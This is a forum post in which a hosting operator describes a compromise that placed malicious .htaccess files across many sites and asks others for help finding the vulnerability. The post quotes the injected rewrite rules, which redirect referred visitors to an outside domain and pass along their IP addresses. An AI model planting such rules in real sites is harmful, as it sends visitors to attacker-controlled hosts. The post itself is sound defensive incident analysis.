Finding Webserver Vulnerability
- by Brent
We operate a webserver farm hosting around 300 websites.
Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites.
The content of the .htaccess file was this:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}
Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is.
I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole?
So far we have determined:
the changes were made as www-data, so apache or it's plugins are likely the culprit
all the changes were made within 15 minutes of each other, so it was probably automated
since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site)
if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse)
Any more hints would be appreciated.
